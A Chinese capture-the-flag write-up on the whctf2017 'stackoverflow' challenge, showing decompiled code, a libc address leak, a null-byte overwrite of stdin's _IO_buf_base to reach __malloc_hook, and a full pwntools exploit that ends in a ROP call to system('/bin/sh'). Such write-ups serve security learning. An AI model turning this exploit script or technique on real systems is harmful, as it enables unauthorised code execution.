point
1 2 3 4 5 6 7 8 9 10 11 12
| __int64 __fastcall input_data(char *input, int count) { unsigned int ret_value;
ret_value = read(0, input, count); if ( (ret_value & 0x80000000) != 0 ) { printf("Error!", input); exit(0); } return ret_value; }
|
读取的字符串的时候末尾没有置0,紧接后面的内容可以泄露,根据下面可以泄露栈上的数据。
1 2 3 4 5 6 7 8 9 10 11
| unsigned __int64 leak_name_input() { char name[80]; unsigned __int64 v2;
v2 = __readfsqword(0x28u); printf("leave your name, bro:"); input_data(name, 0x50); printf("worrier %s, now begin your challenge", name); return __readfsqword(0x28u) ^ v2; }
|
next point
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| __int64 main_func() { int size; int temp; void *ptr; unsigned __int64 v4;
v4 = __readfsqword(0x28u); printf("please input the size to trigger stackoverflow: "); _isoc99_scanf("%d", &size); IO_getc(stdin); temp = size; while ( size > 0x300000 ) { puts("too much bytes to do stackoverflow."); printf("please input the size to trigger stackoverflow: "); _isoc99_scanf("%d", &size); IO_getc(stdin); } ptr = malloc(0x28uLL); global_ptr = (char *)malloc(size + 1); if ( !global_ptr ) { printf("Error!", &size); exit(0); } printf("padding and ropchain: ", &size); input_data(global_ptr, size); global_ptr[temp] = 0; return 0LL; }
|
这个地方global_ptr[temp] = 0;
temp值等于size,取得是第一次输入的size,并不是最后一次的size,所以这个地方是可以在大于0x300000的某一位置写\x00
的。
思路
这个地方没有free并且写的地方偏移是比较大的。从堆上偏移往前写,去什么地方写00能改变程序的走向呢?堆上往前偏移,libc的内存上写,写一个00是为了写更多的数据,关键这个地方巧合的地方来了。
图片
可以看到在0x7f605741f900 的位置这个地方是_IO_2_1_stdin_+64
即_IO_buf_end的位置。_IO_buf_base 的值为0x00007f605741f943,如果我把它最低位的字节置为,恰好会变成stdin中IO_buf_end的位置。这个时候扩大了缓冲区,再产生输入的时候,会从IO_buf_base的地方接受数据,即会覆盖_IO_buf_end的指向,进一步扩大输入缓冲。当我们的输入缓存边界足够大 的时候,这个时候可以考虑覆盖_malloc_hook的值,next malloc的时候,我们就可以控制的程序的走向。
再接着考虑什么时候会用到输入缓冲。我们程序中绝大部分都是直接read,都是直接的系统调用没有用到stdin结构里面的buf,但是这里scanf和IO_getc确实用到了流的结构,我思考过一个问题,这里在最开始用setvbuf把stdin输入缓冲置0了,为啥这里stdin的输入缓冲不是0,而是长度1呢?难道在fread读输入的是一字节一字节的不停的系统调用吗?当然不是,在freed,会直接循环直接调用read去读当前需要的数据量,直到读完到需求量位置。
那么这里scanf是否也和freed一样不回使用输入缓存呢,这里确实相反的,scanf却使用了一字节的输入缓存。其实仔细想想这样做也没什么问题,scanf本来就是1字节1字节处理的。IO_getc也一样同样是1字节。所以这道题的关键点在于
1 2
| _isoc99_scanf("%d", &size); IO_getc(stdin);
|
就这两个地方用到输入缓存的机制,在scanf后面接一个getc其实是很常见的事情,IO_getc是用来吃scanf最后一位没用到的字符比如'',所以这里我们的思路先对_IO_buf_base写00再,扩大输入缓冲,覆盖_IO_buf_end,最后写_malloc_hook,第一想法就是对_malloc_hook写one_gadget,但是这里one_gadget条件是满足不了的。这里有一个很好的思路,调用前面的input_name
,造成栈溢出用rop。
这里的栈的结构你如果不调直接看的话也可以。覆盖是read的返回地址。如下图
全部思路如上,接着上exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131
| from pwn_debug import * from pwn import *
pdbg=pwn_debug("stackoverflow") pdbg.context.terminal=['tmux', 'splitw', '-h']
pdbg.local()
p=pdbg.run("local") membp=pdbg.membp
elf=pdbg.elf libc=ELF('/root/ctf/ctf-challenges/pwn/pwn_category-master/IO_FILE/arbitrary_read_write/whctf2017-stackoverflow/libc.so.6')
def malloc_one(size=0,data="",real_size=0,flag=False): p.recvuntil("flow: ") p.sendline(str(size)) if flag: p.recvuntil("ckoverflow: ") p.sendline(str(real_size)) p.recvuntil("ropchain:") p.send(data)
def evil_write(data): p.recvuntil("flow:") p.send(data)
def flush_buff(size): for i in range(0,size): p.recvuntil("stackoverflow") p.sendline('a') def pwn(): p.recvuntil("bro:") p.send("a"*8) p.recvuntil("a"*8) libc_base=u64(p.recvuntil(", ")[:-2].ljust(8,'\x00'))-0x7DD10-66 log.info("leak libc address: %s"%hex(libc_base)) io_stdin=libc_base+libc.symbols['_IO_2_1_stdin_'] io_stdin_end=libc_base+libc.symbols['_IO_2_1_stdin_']+0xe0+0x10 malloc_hook=libc_base+libc.symbols['__malloc_hook'] log.info("_malloc_hook address: %s"%hex(malloc_hook)) rce=libc_base+0x3f4b6 evil_jmp=libc_base+0x5E492 log.info("one gadget address: %s"%hex(rce))
io_buf_base=io_stdin+7*8 io_buf_end=io_buf_base+8 log.info("stdin address: %s"%hex(libc_base+libc.symbols['_IO_2_1_stdin_'])) size=libc.symbols['_IO_2_1_stdin_']+7*8+0x200000-0x10 real_size=0x200000-0x1000 raw_input('bbb') malloc_one(size,'123',real_size,True) raw_input('aaa') p.send(p64(malloc_hook+8)) flush_buff(7)
io_file_jumps=libc_base+0x3be400 binsh_addr=libc_base+next(libc.search("/bin/sh")) system_addr=libc_base+libc.symbols['system']
lock_addr=libc_base+0x3c3770 fake_file=IO_FILE_plus() fake_file._old_offset= 0xffffffffffffff00 fake_file._lock= lock_addr fake_file._IO_buf_end=malloc_hook+8 fake_file.vtable=io_file_jumps file_data=str(fake_file)
fake_file.show() payload=file_data[fake_file.offset('_IO_buf_end'):] payload=payload.ljust(malloc_hook-io_buf_end,'\x00') payload+=p64(0x400a23)
p.recvuntil(" trigger stackoverflow: ") p.send(payload) raw_input("get shell>") prdi_ret=0x0000000000400b43 payload='a'*0x10+p64(prdi_ret)+p64(binsh_addr)+p64( system_addr) p.send(payload)
p.interactive()
if __name__ == '__main__': pwn()
|
安利一下raycp的pwn_debug,真的很方便,特别是不同libc的加载和io结构的构造上,你不用再去计算某一段对应的偏移。